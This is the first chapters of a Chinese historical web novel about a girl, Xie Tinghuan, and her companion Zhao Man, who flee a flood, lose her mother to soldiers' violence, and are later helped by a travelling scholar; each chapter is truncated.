《第一女首辅》 1. 嘉和九年(上) 《第一女首辅》全本免费阅读 嘉和九年,江中一带突发水患,致使陵县、曹县两万老百姓流离失所,死伤近五千多人。从陵县到晁州城,大概六七百公里,这条官道上,火光冲天,尸横遍野。 在路中央,密密麻麻挤着逃难的人,谢家母女便是其中之一。 连日的辗转已经让十二岁的谢庭欢那双原本清澈的眼睛浮现几分呆滞,她回头往家的方向望去,却因为没看路被石子绊倒,谢母连忙将人扶起,满脸担忧道:“摔疼了?” 谢庭欢抿着嘴,眼泪在框里打转,她伸出脏兮兮的手擦了一把汗水,倔强道:“没有,母亲别担心。” 谢母叹了一口气,将人牵到路边停下,随后蹲下来轻轻卷起她的裤腿,只见破了皮的膝盖正在慢慢渗血,连忙从怀里拿出已经见了底的药膏涂在伤口上,边涂边吹着。 谢庭欢忍了许久的泪水猝不及防地落了下来,她想要大声哭喊宣泄,却终究只能埋在母亲怀里抽泣。 这一路上,马蹄声、车轮声、哭喊声、脚步声以及痛苦的呻.吟声混杂在一起,再加上空气中时不时弥漫着一股尸体腐烂味,每一个人脸上的麻木与冷漠,都成了无视这一幕的理由。 谢母轻轻拍着女儿瘦弱的后背,不知该说什么,只得呢喃安慰:“会好的,总会好的。” 这时,前方突然传出一阵马蹄嘶鸣声,紧接着又是几句谩骂声,一阵尘土飞扬,引得谢母捂嘴咳嗽起来,谢庭欢连忙将母亲挡在身后,透过灰尘,她隐隐约约看到一个熟悉的身影,蜷缩在路中央。 灰尘随风散去,人影逐渐清晰,谢庭欢缓缓睁大的眼睛,眸子里闪着光,她大喊:“阿满哥哥!”。 谢母顺着她看的方向看去,却只看见一个模糊的影子,她揉了揉眼睛,还是看不清。 谢庭欢顾不得膝盖疼痛,指着前方,兴奋道:“母亲母亲,阿满哥哥,那是阿满哥哥!” 谢母虽看不清,却相信女儿的话,于是二人便走上前去,一看果然是赵满,伴随着还有他后背几道鞭痕,不用想定是那赵屠夫打的。 在两人的呼喊下,赵满慢慢睁开眼睛,意识开始回笼,他原本以为自己就要死在这里。 “庭欢...柳...柳姨?”赵满似乎有些不敢相信,可后背传来刺骨的疼痛让他意识到,这是真的。 “好孩子,先别说话。”谢母看在眼里疼在心里,这个赵屠夫也太狠了,对一个孩子下手如此重。 “欢儿,帮着母亲把你阿满哥哥扶到那边石头上去。” “好!” 待赵满坐定后,谢母再次掏出那药膏,这药膏已经没了,于是她便往里面兑了些水,用手沾湿涂在赵满的后背上。 谢庭欢看见赵满眉头紧皱,额头冒汗,便知他很疼,便安慰道:“阿满哥哥,你疼就哭吧,方才我膝盖摔破皮了,也疼,然后哭一下就好了,不过,只准哭一下哦。” 赵满被她的话逗笑了,摇摇头道:“我不疼,也不用哭。” “阿满哥哥是男子汉大丈夫,不会哭也不会疼,那以后我也要像你一样,不疼也不哭。” 谢母轻轻敲了敲女儿脑袋,心里却十分高兴,这般也好,万一自己有什么不测,这两个孩子也相互有个照应。 “阿满,你爹他又是为何打你,这灾荒年间的,怎还如此不知轻重?”谢母一边问一边拿出针线为他缝制破烂的衣服。 赵满忍着痛一动不动,闷声道:“他不是我爹。” 谢母闻言手一顿,罢了,终究也不是亲生的,这些年受了那赵屠夫多少顿打,如今也算解脱了,于是她安慰道:“好孩子,朝前看。” 赵满撺紧双手,点点头。 谢庭欢盯着母亲手中的针线,说:“阿满哥哥可以同我们一起上京找姨母。” 赵满眼眸亮了亮,随即很快黯淡下去,笑着回道:“好。” 谢庭欢笑得很开心,但这银铃般的笑声却让谢母心里发愁。当初离家逃难时,便说上京去找自己的妹妹,可是,那只是为了让女儿有个念头,若是不知归处胡乱逃荒,必死无疑。她想着若是这一路上有地方可以安定,便安定下来,待灾荒过去,便带着女儿回家,毕竟,京师路途漫漫,再者她那妹妹为官府妾,日子尚且难过,自己又怎可千里迢迢上赶着去添麻烦。 而谢庭欢因有了赵满的陪伴,一路上叽叽喳喳,仿佛不觉是在逃难,整个人变得鲜活起来。 半月后,他们跟着众人抵达离晁州城十公里外的废弃小村庄,但为了清净些,他们三人便将住处安置在村庄外围。 这天夜里,赵满找来一顿柴火,看见谢庭欢缩在草堆上睡得正香,便放轻了脚步,心细的谢母一眼便察觉到了,于是笑道:“阿满,你别惯着她,她父亲在世之时,也不会这般。” 赵满一边钻木一边回道:“柳姨比我更了解庭欢,她怎会因此变了性子。” 谢母不可否认,她将目光移向正在熟睡的女儿脸上,眼里满是宠溺,说道:“她呀,也不知道是不是跟着她父亲在私塾里读书的缘故,书看得多了,心里就有主意,讲起话来引经据典,头头是道,让人又爱又气,为此受到了她父亲不少责罚。” 赵满点燃了火,火光照在谢母脸上,映出两行泪痕,只听她叹了口气,说:“不过,这几个月她着实受苦了。”。 “柳姨您教导过我的,人要一直朝前看。” “是了是了,朝前看。”谢母擦干泪水,又道:“说起来,我还要谢谢你,自从你来了,她开心了许多。” 赵满添了柴,摇头道:“您与先生与我有再造之恩,赵满不敢不忘。” “好了好了,别说这些客气话了,以后咱们就是一家人了。” 听见这话,赵满眼眸再次亮起来,他跪在地上,对谢母道:“柳姨说的话,我心里很是感激,自我出生便被父母抛弃,赵屠夫将我捡回去后,日夜打骂我,我若不得您与谢先生教导,恐怕不知尸身何处,如今只是半个废人,怎敢再给您添麻烦。”说完,他垂眸想了想,还是决定将自己心里所想说出来。“您一人带着庭欢上京投亲已是艰难,我何曾沾亲怎能与你们同行,便想着等你们安顿好之后离开。” 谢母听了这话,忍不住笑了起来,“果真还是个孩子,京师路途遥远,她姨母日子艰难,我怎会带她去呢。” “原来如此。”赵满眼里又有了光,连忙道:“我以后会好好照顾柳姨您和庭欢的!” “什么你照顾我们的,我们相互照顾才是好,起来吧,地上凉。” “是。” 就在两人谈话间,远处传来一阵马蹄声,谢母看不清便问赵满,赵满起身走出几步,借着火光望去,只见许多官兵骑着马飞驰而过,他们人人手持长枪与盾牌,似有一种要打仗的态势。 “柳姨放心,是群官兵,往晁州城的方向去了。” 谢母双手合十,叹道:“只要不是强盗与流寇便好。” “您放心,若是遇上了,我定会拼死护你们。” “你这孩子,别说不吉利的话,你不知道,灾荒年最怕遇上强盗流寇,他们会杀人放火,拐卖孩子,也别指望着报官,这里的知府都懒得管,甚至会杀人灭口以此平息此事。”说完,谢母看着女儿,道:“你瞧,离家前,我特意给她打扮成男孩的模样,就是怕有流寇或是强盗将她抢了去,然后随意卖去换钱,这世上的女子啊,处处是艰难。” 赵满将这话记在了心里,他绝不会让这样的事情发生。 凉风袭来,正值初夏,夜里也有些冷,但谢母似乎觉得有些热,她捂着嘴咳嗽了几声,便在赵满的催促下睡了。 翌日,东边泛白,谢母醒了,她看着远处即将升起的太阳,想起了年轻时和谢父一同爬山去看日出的情景,不字句嘴角勾起一抹笑,可巧这一幕刚好被醒来的谢庭欢看见了,她扑到母亲怀里打趣说:“母亲想父亲了对不对?定然是的,我也想父亲了。” 谢母抱着她,慈爱地摸着她的头,说:“你父亲会在天上保佑我们的。” “嗯!” “嘘!”谢母向她做了一个禁言的手势,随后指了指草垛上的赵满,小声说:“别吵醒你阿满哥哥。” 谢庭欢点点头,眼里满是笑意。 一旁的赵满翻了个身,他不想叨扰母女俩,只是听着她们的对话,他想起了抛弃自己的狠心亲生父母,又想起了贪心的赵屠夫,最后,他回忆起了谢先生,那个一个瘸着腿的私塾先生。 想到这里,他盘腿坐了起来。 谢庭欢见状,惊讶道:“阿满哥哥你是被我吵醒的吗?” 赵满摇摇头,宠溺道:“不是,我自己醒的。” “那就好。”谢庭欢吐了吐舌头,自顾自地找了根树枝,在地上写写画画。 过了半个时辰,三人才煮了些粥吃,赵满吃完便去了村子里探了探,回来时带了一个消息:晁州城被官兵封锁了,明令只许出,不许进。现下庄子里的人都开始慌乱起来,有人愤恨骂官府,更有的还骂起了天子。 谢母想了想,便询问他和女儿对此是何看法。 赵满觉得昨夜那群官兵就是去封城的,既如此,一时半会儿肯定撤不了兵,想来柳姨原本的意思就不是上京,只是寻求一个安定的地方,于是他建议起身去西边的阖州城,以防万一这里的人和官兵闹起来连累她们。 但谢庭欢对此有不一样的看法,她说:“眼下我们的吃食已经不太够了,如果还要走那么远,定会饿死在路上,这里就是城外,官府不会不管我们的。” 谢母听完二人所言,便说:“你们二人各自说的都有道理,既如此,我们便先在这里将就一晚,看看明天情况如何,如若还进不了城,我们便去阖州。” 二人点头。 这时,谢母指着远处,说:“欢儿,你看那边是不是有蝴蝶?” 谢庭欢顺着母亲所指的方向看过去,发现确实有,于是便小跑过去看。 “母亲,阿满哥哥,真的是蝴蝶,好漂亮!” “慢点跑,别摔了。” 谢母和赵满坐在草垛上看着她与蝴蝶共舞,谢母小声对赵满说:“你看她,天真无邪的样子多可爱,我希望她永远这般,可又害怕她这般。方才她说官府不会不管,可阿满你看,我们已经背井离乡好几个月了,路边多少死人,那恶狗已经吃得如豺狼,可官府和恶狗又有何区别,如今开始围城,分明是不想管我们这群百姓才会如此。欢儿她呀,太过天真了。” “柳姨您为何不同她说这些,也好让她有些防备之心。” 谢母叹了一口气,道:“你有所不知,这孩子小小年纪经历了这一遭,心思深,有时候我竟有些看不懂她到底在想什么。有些事我很容易明白,比如这一路上,她明明很累,看见那些尸体很害怕,但总装作一副勇敢的模样,为的就是不让我担心。还有现在,她和蝴蝶一起玩,可她从小就不喜欢与蝴蝶花儿这些,只是因为她知道我想支开她,所以她也配合我。” 赵满不解,问:“那您为何还说她天真?” “因为她父亲。”谢母指着地上,那是谢庭欢刚用树枝画的,赵满一看,地上画了一个圆,中间一把叉,圆外又画了一支箭。 “这是什么意思?” 谢母笑道:“那个圆是代表她父亲,但小时候又常常受到她父亲打手心,所以那两个叉表示打手心的木板。” “那支箭呢?” “当年他父亲的腿便是因为毒箭所伤。” 说到这里,赵满自然知道了谢庭欢心里所想。 “这箭便是拜晁州知州所赐,那知州还废了他乡试资格,导致他一生郁郁寡欢不得志最后因病亡故。原本欢儿是不知道的,可有一次不知怎的被她无意间听了去,没想到这孩子一直藏 2. 嘉和九年(下) 《第一女首辅》全本免费阅读 原本废弃的村庄因难民的到来有了些许烟火味,最后却成了埋葬他们的坟墓,那场大火烧了整整一夜,赵满看了一夜,也听了一夜,清晨的阳光照在他脸上,他缓缓闭上了眼睛,随后又睁开,他想起了柳姨的话:好好活着,任何时候都要好好活着。 一旁的谢庭欢仍然处在昏迷当中,赵满此刻心里害怕她醒,但又害怕她不醒过来。最终他还是背着谢庭欢,一步一个脚印往那片废墟走去。 或是因途中的颠簸,谢庭欢迷迷糊糊地醒了过来,她望着眼前的废墟,麻木的眼神没有一丝生气。 赵满走到原先他们的住处,将谢庭欢放了下来,见她已经醒了,想要开口安慰,却因喉咙干涸出不了声音,这时,后方传来悉悉索索地撕咬声,赵满心生警惕,连忙将人拉到一处土墙后面躲了起来,他伸出头一看,只见几头肥壮的恶狗正在啃食人腿,他心里一凉,立即又背起谢宴南往官道上跑。 走了许久,他找到一处废庙,将谢宴南藏在里面,并嘱咐她不要乱跑,抄起一根棍子又往回跑。 靠在柱子上的谢庭欢看着赵满的背影,忽然大声哭了起来。 是她害死了母亲,明明知道母亲是为了刻意支开自己,却还是一而再地听了她的话,离了她身边,就在她埋头痛哭时,因身体起伏抖动,震出了口袋里的小盒子。 她捡起盒子,里面是两只木纹簪,哭得越发厉害,她紧紧抱住盒子,双眼死死盯着晁城的方向,这一看就是半个时辰。 当赵满拖着满身伤痕回来之时,谢庭欢还盯着那方向看。他看出了她眼里夹杂的恨意,怕她陷入疯魔,便连忙从怀里小心翼翼地拿出用布包裹着的一捧灰,声音沙哑道:“庭欢,我带了...带了一些骨灰回来,可能里面不止是柳姨,但不管如何,入土为安。”说完,他将手里的东西小心翼翼地放到她手里。 谢庭欢收回视线,盯着手中的东西,良久,她才缓缓点了点头。 两人在不远处找到一颗梨花树,赵满原本想用手中的木棍刨个坑,可他看见了木棍上的血迹之后,立马扔了,重新找了根慢慢刨了起来。 谢庭欢抱着布裹坐在一旁,抬眸见脚边有一块半埋在土里的石碑,她伸手扯去上面缠绕的藤枝,拍去上面的灰,或许年代久远,字迹模糊,她看不清。 赵满停下手中的活,对她说:“你先放那,待会我来用小刀刻。” 但谢庭欢却摇摇头,呢喃道:“不要这个,母亲以后要回家,去见父亲。” 赵满点点头,把坑的位置往碑后面挖。 半个时辰后,两人将土重新埋了回去,并排坐着,周围十分安静,似乎昨夜那场大火从未存在过。 谢庭欢望着远处升起几缕残烟,轻声问:“阿满哥哥,母亲将我支开去看蝴蝶那次,她同你说了什么?” 赵满想了想,回道:“柳姨说,她希望你活着,好好地活着,开心的活着。” “是我害死了母亲。”她突然平静地说了这一句,这让赵满心凉了半截,连忙开口解释,但马上又被她打断:“是我任性没有听你的话去阖州,是我一而再地任由母亲支开,是我不顾一切暴露了自己,让母亲不得不为了保全我,自己引开官兵从而跳进了火海。” 她泪眼婆娑,语气哽咽,给自己判下了死刑:“是我,害死了母亲。” 赵满悬着的心终究是沉了下去,他猛地站起来,握紧拳头,对着晁城恶狠狠地说:“是那些官兵滥杀无辜,这都是是那群狗官做的恶!” 见她不说话,赵满便将她扶起,逼迫她看着自己,说:““庭欢,这一切错不在你,之前柳姨怕你会因谢先生而带着仇恨活一辈子,所以担心你,但是现在,我认为若是血亲之仇不能报,便无颜活在这世上。庭欢,我们要好好活着,将来只等有一天得以报仇雪恨。” 谢庭欢眸子颤了一下,良久,她伸手用尽全身力气擦尽了眼泪,一字一句道:“以后,我再也不会哭了。” 赵满松了口气,但眼底的忧虑却未减半分。 二人朝着小小的土包磕了三个响头,随后,谢挺欢一步三回头,和赵满离开了这里。 他们走到大路上,回头一看,后面乌泱泱一大群灾民正朝着这赶来,而前方却是手持盾牌的官兵围城,赵满当下便又拉着谢庭欢回到破庙躲了起来,他怕官兵又会像昨夜一般,乱杀平民百姓。 这次,谢庭欢出奇地听话,她躲在佛座后面,一言不发。赵满察觉出了异常,他定睛一看,只见谢庭欢双脸泛着不同寻常的红晕,他一摸额头,十分烫手,心想她这定是发烧了,眼下吃的喝的都没有,没办法,他又只能出去找食物。 他第三次回到官道上,先去村子找了一圈,最后只找来一个陶罐,之后又混入灾民之中,想要在他们这里讨些食物,最后免不了被打一顿。 这灾荒年间,谁不是先保全自己。 眼见不成,他便跑到人群面前,拦住他们的去路,大喊道:“快回去!晁城已经被围了,那群官兵会杀了你们!”怕这些人不信,他又指着不远处的废墟,“那里!就是那个村子,昨天晚上,那群官兵点了一把火把所有人都烧死在里面!” 其中一个大娘说:“我们都听说了,说前面有村子爆发瘟疫,官府才放的火,烧的都是一些死人,怕瘟疫扩散出去,怎么,你不知道?” “瘟疫?”赵满懵了半晌,怎么自己从来都没听说过。 这时,大娘反应过来,突然指着赵满,满脸惊恐:“怎么,你不会是那个村子里出来的人吧?”她这话一出,所有人立刻四散而逃,唯恐自己传染上瘟疫。 赵满连滚带爬地跑了,慌慌张张,一时之间不知道往哪跑,想起来谢庭欢还在破庙,连忙跑去田埂边那颗榆钱树下,胡乱扯下几把榆钱叶,塞进兜里就往破庙跑。 这一路上,他连口气也不敢喘,回到破庙,他又差点撞倒摇摇欲坠的门板,等看到谢庭欢才敢大声呼吸。 这时他猛然想到那时的柳姨脸色苍白,经常咳嗽,莫非? 莫非柳姨知道自己感染瘟疫才不许庭欢靠近她,才借着榆钱糕从而支开自己和庭欢,这一切突然有了解释。他靠在门后,侧过头看着正在发烧说胡话的谢庭欢,心里突然升起一股绝望之意,但他又不甘心,不甘心为什么到头来是这样。 想归想,他终归还是不信命,他不信自己与庭欢会殒身于此,当即起身生起火堆,架起陶罐,把榆钱叶煮了给她吃下去。 做完这一切,他靠在谢挺欢身边,等待着夜幕降临,他很累,但又不敢睡。 待到月上枝头,他忍不住疲惫,闭了眼,没过多久,他迷迷糊糊之间听见几声巨响,等他惊醒发现自己的双手双脚分别用绳子捆死了,整个人被迫蜷缩在地上。 他猛地抬头,直接对上了四个带着刀的彪汉,他们正冲自己一脸奸笑。 赵满努力挣扎了几下,没有任何作用,他连忙转头看向昏迷中的谢庭欢,发现她双手也被捆住,他这下心死了,柳姨之前说过,逃荒路上最怕强盗流寇,现下他们真遇到了。 想到这里,赵满似乎被这命运的不公气笑了,他仿佛找到了一个宣泄口,越笑越大声,面前站着的四个强盗面面相觑,不知道他在笑什么,于是其中一个上前踢了他一脚,用刀尖对准他,怒骂:“你个毛还没长齐的臭小子笑什么?” “将死之人,还不让我笑了,是何天理?” “天理?你爷爷我就是天理,只有我让你笑才能笑!” 赵满淬了他一口,说:“我偏笑,有本事现在就杀了我!” “老子想杀就杀,由不得你做主。”说完,他又走到谢庭欢旁边,上下打量几番,掏出她口袋里的盒子,打开一看,满脸嫌弃,骂道:“什么破木簪子。”骂完随手往后一扔,两支簪子滚落在地,其中一支被一个脸上长满大胡子的人捡起来收进兜里。 赵满刚想大骂,嘴就被烂布堵住了,他开始挣扎却无济于事,只能死死瞪着眼前人。 “这个灰头土脸的小子想必是你弟弟吧?”说完,那人又上手摸了两把脸,原想看看皮肉糙不糙,若是细皮嫩肉的也可以买个好价钱,但一摸却发现烫手得很,“发烧了?不会烧死吧,方才捆他的时候就见他没动静,现下看来,都不用捆他,浪费我绳子。” 其他三人也拿不定主意,就在这时,谢庭欢嘴角抽动了几下,又猛地咳嗽了几声,竟然吐了一口鲜血。 四人连忙后退,骂道:“什么病秧子,真是晦气!” “老大,怎么办?” < 3. 秀才之死(上) 《第一女首辅》全本免费阅读 这几天,因为二人手里没有任何粮食,而田埂那颗榆钱树已经快被赵满薅秃了,眼下他又不得不重新混入城外那群灾民之中,顺道打探消息看看晁州城门何时会开。 所幸当他蒙着脸混进去之时,已经没人记得他了。也是,吃了好几天的树叶,他满脸消瘦,俨然同乞丐没什么两样。 正当他蹲在人群后面,吞咽着口水看着别人煮粥时,眼前闪过一个熟悉的身影。 赵满心里大喊:是那个大胡子,那四个强盗! 见大胡子直径向煮粥那户人家走去,缓缓抽出一把小刀,抵在那人脖子上。 众人慌忙拖家带口四处逃窜,边跑边大喊:“强盗来了!快跑啊!” “快!快往城门走,那里有官兵!” 赵满乘机躲在石头后面,他认出了那把小刀是自己的。 大胡子踹了那人一脚,端起粥大摇大摆地走了。 赵满也跟在他后面,因为柳姨留给庭欢的簪子还在这人身上。 两人七绕八绕,赵满差点就怀疑是不是大胡子已经发现了自己,但见他时不时停下来喝两口粥,十分满足的样子,赵满才打消了心中疑虑。 途中,赵满回头往城门方向看,见许多灾民挤在门口,叫嚷着有强盗,但那群官兵无动于衷,久久不见出兵巡查。 看到这里,赵满心中的怨恨又加深了几分。 大胡子起身端着粥又开始沿着山腰往上爬,赵满也不敢有丝毫懈怠,他小心翼翼跟在后面,快到山顶之时,却因为步子不稳,猛地摔了一脚,身体压断了枯枝,发出的声响让大胡子立刻转过身来,警惕地瞧着四周,慢慢往回走。 赵满忍着疼痛,拼命捂住自己的嘴,看着大胡子一步步逼近,心想这下自己恐怕真的要死在这里了。 但大胡子走了两步就停下了,他眯着眼睛,不知想些什么,于是又继续往山顶走。 赵满松了一口气,慢慢爬起来,但等他起身之时,发现已经没了大胡子身影,还没等他反应过来,脖子上传来冰凉的触感。 “别动!” 此刻,赵满满脸绝望,他知道自己必死无疑,便说:“要杀要剐,随你便。” 大胡子从背后往他膝盖处狠狠踹了一脚,迫使赵满跪倒在地,又抓着他脑袋,恶狠狠地说:“你小子真有种,破庙那场火还没烧死你?现在看来,你骗了我们,你们根本没染上瘟疫,是不是!” “是又如何,不是又如何?” 大胡子立刻给了他一巴掌,笑问:“怎么样?” 赵满用手擦了擦嘴角的血,笑得十分瘆人,“原以为,你是个憨的。”话刚落音,又被揪着衣领挨了一巴掌。 “当初要不是你,我就不会被打这两巴掌,现下让你也尝尝滋味。” 赵满趁他发怒之时,用尽浑身力气回踹了他一脚,然后猛地往前跑。 大胡子看着他跑,也不着急,山顶下面是悬崖,看他能跑到哪里去。 赵满不敢喘气,瘸着腿一拐一拐地跑,突然他闻到一股尸体的腐烂味,他侧过头一看,发现一旁堆叠着三具尸体,虽然已经血肉模糊,但他还是认出来了,那是另外三个强盗。 这时,大胡子也端着粥上来了,他十分淡定,找了块石头坐下,慢悠悠地喝着粥,这和在破庙那副憨憨的模样截然不同,现在,赵满在他脸上看到了阴险与狠毒。 喝完了粥,大胡子打了个饱嗝,似笑非笑说:“看你这样子,也是饿了很久了。”他又指着锅,“你跟着不就是为了要一口粥喝吗?我大发慈悲,分你一口。”说完,他将锅一脚踢到赵满面前。 赵满看了一眼锅,随后死死瞪着他,这哪里是分自己一口,分明是把自己当成狗。 “吃啊,怎么不吃,都不成人样了还死要着那副尊严,摆给谁看?” 见赵满还是不为所动,大胡子起身,拽起他头发,把头往锅里摁,“吃啊,让你吃是不吃,哈哈哈!” 赵满的头撞到地上,额头顿时鲜血直流,他双手撑着地,想要站起起来,却被死死按压在地上,挣扎之间,他看见了大胡子兜里露出半截木簪子,于是咬着牙,一把扯住大胡子衣袖,将木簪抢了过来。 大胡子低头一看,瞬间明白原来这小子不是来要粥吃的,而是想要回自己那日在破庙拿的簪子。 既然如此,那他就去死吧。 赵满双手紧握着簪子,随即他发现自己整个人脱离了地面,一看,竟是大胡子将他整个人举起来,慢慢往悬崖边走。 到了悬崖边,大胡子停了下来,他笑着问:“小子,怕吗?” 赵满咽了咽口水,悬崖边吹过来的风让他不寒而栗。 “不说话,既然不说话,那你就和你的簪子一起去死吧。”话说到一半,他松了手。 赵满瞳孔急剧睁大,视线开始变得模糊不清,随后,一阵撕心裂肺的呼喊声回荡在崖底,惊飞了树上栖息的鸟群,过一会儿,一阵风吹过,山顶又安静了下来,只留下若有若无的鼾声。 黄昏将至,谢庭欢见赵满一直不回来,心里不免开始担忧起来,平常太阳还未落山,人就会回来,可今日却迟迟不见身影,她害怕赵满像母亲一样遭遇不测,于是四处寻找,直至月上枝头,她也没找到人。 此刻,她心一下子沉入了谷底,蹲在地上,抱着双腿,迷迷糊糊地呢喃着:“阿满哥哥,你说过不离开我的,你说过的。” 可是四周无人回应,远处的乌鸦叫声时不时传入她耳朵里,她满脸惊恐,连滚带爬地往后退,边腿边喊:“母亲!阿满哥哥!” “你们都不要我了吗?” “欢儿想你们,你们回来好不好。” 她蜷缩在地上,闭着眼睛,一直说着,也不知说了多久,才昏睡过去。 翌日正午时分,谢庭欢才迷迷糊糊睁开了眼,她立马坐起,四处张望,大喊:“阿满哥哥!”,可是还是无人回应,原本清明些的眼神此刻又慢慢呆滞了下去。 接连两天,她一直蹲在原地,心里想着阿满哥哥会回来的,如果自己单独离开,阿满哥哥回来就找不到自己了。 毒日下,一个小孩不吃不喝三天,怎么看都得死,此刻的她已经不成人样了,她瞳孔涣散,微微颤抖着,模糊不清的视线里,似乎映出了赵满那张脸,她想说话,却没有丝毫力气,张了张嘴,随即又闭上了眼,耳边传来了几句叫喊声。 第三天清晨,谢庭欢再次醒来,却发现自己躺在床上。 “小孩,你醒了?” 谢庭欢还有些意识不清,但她似乎看见父亲穿过的衣服,顿时欣喜若狂,大喊:“爹爹!” 可是并没有得到记忆中的拥抱,她仔细看了一眼,却是一个陌生大叔,眼神立马变得警惕。 那男子放下汤药,说:“醒了就好,不过我不是你爹,别乱喊。” 这人语气轻柔,面容温和,让谢庭欢心里稍微松动了些,一双眸子紧紧地盯着他那身衣服看,嘴里不自觉地说了“秀才”两个字。 秀才惊讶,问道:“你怎知我是个秀才?” 谢庭欢缓缓伸出小手,指着他那身衣服。 “哈哈哈,你这小孩,怎的凭借一身衣服便知我是个秀才?” 谢庭欢将头埋下去,不说话了。 “好吧,你先好好休息,等晚饭时,我再来看你。” 秀才关门离开了,谢庭欢立马抬头四处张望,这里似乎是客栈,她往地上一看,发现方才那秀才的家当还放在角落,于是她慢慢挪下了床,蹲在地上看了看,发现里面有许多书,她忍不住伸手摸了摸,随即又走到门口,悄悄用手打开了一个缝,刺眼的阳光让她睁不开眼睛,便用手遮了遮,视线穿过檐廊,看见秀才正坐在尽头处石桌上看书。 谢庭欢看了一会儿,突然见有人过去和那秀才打招呼,她慌忙关了门,回到床上,蜷缩在角落,竖起耳朵细细地听着外面的动静。 一个时辰后,“嘎吱!”一声,陈秀才推门而入,谢庭欢吓得裹紧了被子,但两只眼睛却盯着他手里的两个烧饼和一碗白粥,她忍不住咽了咽口水。 秀才将食物放在桌上,招呼她下来吃。 谢庭欢心里有些犹豫,可烧饼和白粥的香味勾着她,她已经许久没吃过像样的食物了,于是她小心翼翼地下床,来到桌旁,小手慢慢伸向烧饼,眼睛时不时看向秀才。 秀才见她这般小心翼翼,于是便将烧饼挪过去些,说:“快吃吧,我捡到你的时候还以为你饿死了,现下有了吃的,还不赶紧吃?” 谢庭欢听完他的话,才拿到烧饼,随后大口大口地往嘴里塞,吃着吃着就红了眼眶,她又想起了母亲和阿满哥哥。 “慢点吃,嚼完再咽,这还有呢。” 谢庭欢不争气的眼泪又流了下来,她说过自己不会再哭的,可是如今只是因为吃到一个烧饼就哭了,她在心里暗骂自己不争气,慌忙用手擦眼泪,然而这一抬手让她没嚼的烧饼卡住了喉咙,剧烈咳嗽起来。 秀才见状连忙拍着她后背,好在她咽下去了,于是又给她倒了一杯。 谢庭欢咳得满脸通红,大口大口地喝了几杯水,才缓过来,这下得了教训,才开始嚼。 吃完了烧饼,她又喝下了秀才递过来的那碗粥,然而她吃完才发现秀才什么东西都没吃,于是忙放了勺子,慢慢将碗推到他面前,小声说:“你吃。” 秀才摇摇头,笑着说:“我已经吃过了,这是给你的。” 谢庭欢盯着他眼睛,似乎在想他说话的是不是真的。 “吃吧,没骗你。” 谢庭欢终究敌不过白粥的诱惑,将碗端回来,自己坐在凳子上小口小口地吃着,吃完了,又将碗仔细地放回去,随后她跪在地上,朝秀才磕了个头,说:“谢谢你救了我,还给我饭吃。” 秀才连忙将人扶起,叹道:“你这话说得我着实惭愧。” 谢庭欢不明白他的意思。 秀才便指着自己的箱笼,眼含悲愤与无奈,说:“我原是要上缙州府参加考试的,途径陵、曹两县,一路上满目疮痍,死伤遍野,却不见官府赈灾,可我一介书生无能为力,毕竟...唉,算了不说了。”他想起当年之事,又只能化作一声长叹。 “如今只盼着他日高中,谋得权位,为民请命。” 谢庭欢听 4. 秀才之死(下) 《第一女首辅》全本免费阅读 陈秀才连忙解释道:“王兄误会了,他非我之子,这是我在赶考途中见他躺在地上奄奄一息,于心不忍,故而带回来的。” “原来如此,陈兄宽厚仁慈,上苍定会佑你高中。” “那我便多谢王兄吉言了。” “你我同窗半载,说这话实在是见外。” 王秀才走到桌边,那腰间的玉佩在行走时发出清脆的声响,他的目光被桌上那封墨迹未干的信吸引住了,刚准备伸手去拿,便被谢庭欢用书盖住,随之她手腕上的伤疤也露了出来,王秀才眼里闪过一丝异样。他转头又对陈秀才说:“想不到陈兄如此刻苦,这个时辰还在挑灯夜读,王某是在是自愧不如啊。” 陈秀才给他倒了一杯水,说:“都是一些旧书,不过是无聊打发时间罢了。” “哎陈兄可别这么说,旧书之中也自有它一番道理,陈兄这般才学,自是能读懂常人所不可知的东西。”说完,他接过水杯,一饮而尽,又道:“我此番前来原是想找王兄探讨探讨我心中一个疑虑。” 陈秀才立刻邀他坐下。 “陈兄定然也已经知道了,这曹、陵两县的水患未除,这一路多少流离失所的百姓,江中府非但不赈灾,反而变着法的将难民往晁州城这边赶,这曹、陵两县又不属晁州城管辖,一旦灾民涌入,势必会致使晁州城属地陷入混乱,我翻阅许多书,百般思索,却依旧未想到解决之法,只能便深夜叨扰陈兄,想请教一番。” 陈秀才听完长叹,“不瞒王兄说,这一路上我也曾思考过这个问题,江中官府所作所为,人尽皆知,等朝廷派人下来,自是会处理。晁州府虽不管辖曹、陵二县,但也不可不乱杀无辜灾民。” 王秀才听后大惊,问:“陈兄怎可知?” “王兄是否听过那城外爆发瘟疫之事?” “略有耳闻。” 陈秀才指着谢庭欢,说:“这孩子曾亲眼看见晁州城官府派官兵用箭射杀灾民,随后将人全部烧死。”说完,他想让谢庭欢将自己手腕上的伤疤给王秀才看看,但谢庭欢悄悄往后躲了躲,眼里满是警惕。 王秀才连忙道:“这...这可是大祸啊。”说完,他似乎想到了什么,眼睛缓缓睁大,问:“这孩子不会染过瘟疫吧?” 陈秀才示意他放心,“我早已请郎中看过,她并未有染过瘟疫的迹象,只是多日未进食,身子虚弱,才连日发烧。” 闻此,王秀才才放下心来,又问:“这孩子你打算如何?” 陈秀才被这个问题问住了,他定然不能带着这孩子上缙州府。 这时,谢庭欢探出脑袋,小声说:“我要等哥哥。” “如此也好。”王秀才说完,便从怀里掏出二两银子给谢庭欢,“这银子你拿去应应急。” 谢庭欢不敢收。 陈秀才道:“你收下吧,我们走后,你一个孩子孤苦无依,有些银子也好傍身。”,但谢庭欢还是不敢收。 王秀才见状便只好先将银子放在桌上,转而问:“陈兄,对晁州府所作之事,如何看?” 陈秀才将自己那封信拿出来,递给他,道:“听闻李巡抚要去江中府,会经过缙州,我想,定是为了江中水患一事来的,既如此,我便将此信交予巡抚大人,彻查此事。” 王秀才双手接过,细细看了起来,看完,他忙道:“陈兄,你可要三思,其一,此信若是被有心之人看去,前往官府揭发你,到时你便是死无葬身之地之地,还会连累你母亲。其二,当今圣上痴迷战事,朝后又日日夜夜思念故去的皇后,不理政事,如今人人皆传圣上龙体抱恙,似有无力回天之势,圣上膝下无子,朝堂各派为了立储之事争论不休,所以这江中府才敢肆意妄为,你又如何能保证那李巡抚是个清明之人,你我不过一介小小的秀才,无权无势,眼下是要有功名傍身才可应万难。”说完,他又提醒:“端王就在缙州,你莫不是忘了十几年前那件事?” “我自是不敢忘。”陈秀才回道,只是,他看向谢庭欢,自己在这孩子面前发过誓的。 